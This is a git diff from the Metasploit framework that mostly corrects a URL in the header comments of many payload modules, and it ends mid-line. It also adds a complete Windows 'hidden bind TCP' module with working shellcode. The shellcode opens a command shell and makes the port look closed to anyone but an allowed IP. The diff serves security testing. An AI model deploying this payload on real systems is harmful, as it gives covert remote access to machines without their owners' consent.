Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index 7c1a49a6fd..f777080c60 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 3dc2eec8ba..b994c26bf3 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index bd3f088f97..1c1a5fbfad 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index 421cfa24c3..086b0df598 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index 0fcf689a85..a3d1d2f01c 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index b13df2c010..19cab1251f 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/metsvc_bind_tcp.rb b/modules/payloads/singles/windows/metsvc_bind_tcp.rb index 15f3f85e73..6bbe7e7b42 100644 --- a/modules/payloads/singles/windows/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb index e0a7d883a3..042ceb07b3 100644 --- a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/shell_bind_tcp.rb b/modules/payloads/singles/windows/shell_bind_tcp.rb index f99a254fba..3c25331016 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index a05617a8ad..55c0d0c2b3 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Disable Windows ICF, Command Shell, Bind TCP Inline', 'Description' => 'Disable the Windows ICF, then listen for a connection and spawn a command shell', - 'Author' => 'Lin0xx ', + 'Author' => 'Lin0xx ', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb new file mode 100644 index 0000000000..7cdf912c87 --- /dev/null +++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Hidden Bind TCP Inline', + 'Description' => 'Listen for a connection from certain IP and spawn a command shell. + The shellcode will reply with a RST packet if the connections is not + comming from the IP defined in AHOST. This way the port will appear + as "closed" helping us to hide the shellcode.', + 'Author' => + [ + 'vlad902', # original payload module (single_shell_bind_tcp) + 'sd', # original payload module (single_shell_bind_tcp) + 'Borja Merino ' # Add Hidden ACL functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 200, 'n' ], + 'AHOST' => [ 262, 'ADDR' ], + 'EXITFUNC' => [ 363, 'V' ], + }, + 'Payload' => + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" + + "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" + + "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" + + "\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" + + "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" + + "\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" + + "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" + + "\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" + + "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" + + "\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" + + "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" + + "\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" + + "\x68\xc2\xdb\x37\x67\xff\xd5\x6a\x01\x54\x68\x02\x30\x00\x00\x68" + + "\xff\xff\x00\x00\x57\x68\xf1\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7" + + "\xe9\x38\xff\xff\xd5\x53\xe8\x17\x00\x00\x00\x8b\x44\x24\x04\x8b" + + "\x40\x04\x8b\x40\x04\x2d\xc0\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2" + + "\x20\x00\x53\x53\x57\x68\x94\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48" + + "\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" + + "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" + + "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56" + + "\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" + + "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68" + + "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + + "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + } + )) + + register_options([ + OptAddress.new('AHOST', [true, "IP address allowed", nil]) + ]) + end + +end + diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index 64390865a3..e2964ef10a 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/speak_pwned.rb b/modules/payloads/singles/windows/speak_pwned.rb index 67a42850bf..f84c26de02 100644 --- a/modules/payloads/singles/windows/speak_pwned.rb +++ b/modules/payloads/singles/windows/speak_pwned.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 14cd7f4c0a..f1e93c6d95 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 8681c949ca..7db78e24b0 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb index 6806102668..3f4214280b 100644 --- a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb index e08b52473b..51d7227460 100644 --- a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 429cb06ae9..333dba072c 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -55,4 +55,4 @@ module Metasploit3 jar end -end \ No newline at end of file +end diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index a9496ebdf2..9afb96198f 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index c4d263f72e..8e6ff30b2d 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb index 5b64591572..7a4e08f807 100644 --- a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/bind_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_tcp.rb index 51535df801..24725df96b 100644 --- a/modules/payloads/stagers/bsd/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/find_tag.rb b/modules/payloads/stagers/bsd/x86/find_tag.rb index 511648131a..f561969a86 100644 --- a/modules/payloads/stagers/bsd/x86/find_tag.rb +++ b/modules/payloads/stagers/bsd/x86/find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb index 75598d6ebe..3cff4dfad8 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb index fee5d39a4b..47dd1b8868 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb index b3bd1bdeb8..ef9ddb09e1 100644 --- a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb index cccbd789c8..0d9324ecec 100644 --- a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index 307b327f4f..96ad585914 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index b95df84f52..3b8d2a43f8 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index d17582e06f..b2043d7f59 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 94d83a691e..5c0d791b8f 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb index 763a20a329..04ce0b1304 100644 --- a/modules/payloads/stagers/linux/armle/bind_tcp.rb +++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb index 0a1467c765..eed03ccb83 100644 --- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index 4dd0c08440..2f7f43776d 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb index 9b123da4bb..54e93c76ac 100644 --- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb index 059851fd11..25125f3fbb 100644 --- a/modules/payloads/stagers/linux/x64/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 80530c3110..2743036ade 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 7af1d8ecaa..7a7fe85b4d 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb index 671d668433..0f16231f7c 100644 --- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index 051509623f..bd57d7c695 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb index a6eeba9b0e..25f01b2640 100644 --- a/modules/payloads/stagers/linux/x86/find_tag.rb +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb index 5ce3c9a39e..73804a72af 100644 --- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb index 5cdd7cd583..dce4cea84e 100644 --- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 9b5549f673..69404a7006 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index c6bd14e47d..a414ad9b65 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/armle/bind_tcp.rb b/modules/payloads/stagers/osx/armle/bind_tcp.rb index 29620a162e..35a8f99d74 100644 --- a/modules/payloads/stagers/osx/armle/bind_tcp.rb +++ b/modules/payloads/stagers/osx/armle/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/armle/reverse_tcp.rb b/modules/payloads/stagers/osx/armle/reverse_tcp.rb index c7d738880d..92a2ba54cc 100644 --- a/modules/payloads/stagers/osx/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/armle/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/bind_tcp.rb b/modules/payloads/stagers/osx/ppc/bind_tcp.rb index fab3b343c3..9c2442208f 100644 --- a/modules/payloads/stagers/osx/ppc/bind_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb index 0eda9c2cbb..817e9acd95 100644 --- a/modules/payloads/stagers/osx/ppc/find_tag.rb +++ b/modules/payloads/stagers/osx/ppc/find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb index f30b214928..97d86cc19c 100644 --- a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index 2cc29d3cc7..4be648931d 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index dfe8286b27..400505c9fc 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb index 01cb358dfa..35e7b8e09e 100644 --- a/modules/payloads/stagers/osx/x86/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb index 9888550ebe..2e0299919d 100644 --- a/modules/payloads/stagers/osx/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb index 577f130e42..a5af65e17f 100644 --- a/modules/payloads/stagers/php/bind_tcp.rb +++ b/modules/payloads/stagers/php/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index cf3aaad764..976537e477 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module 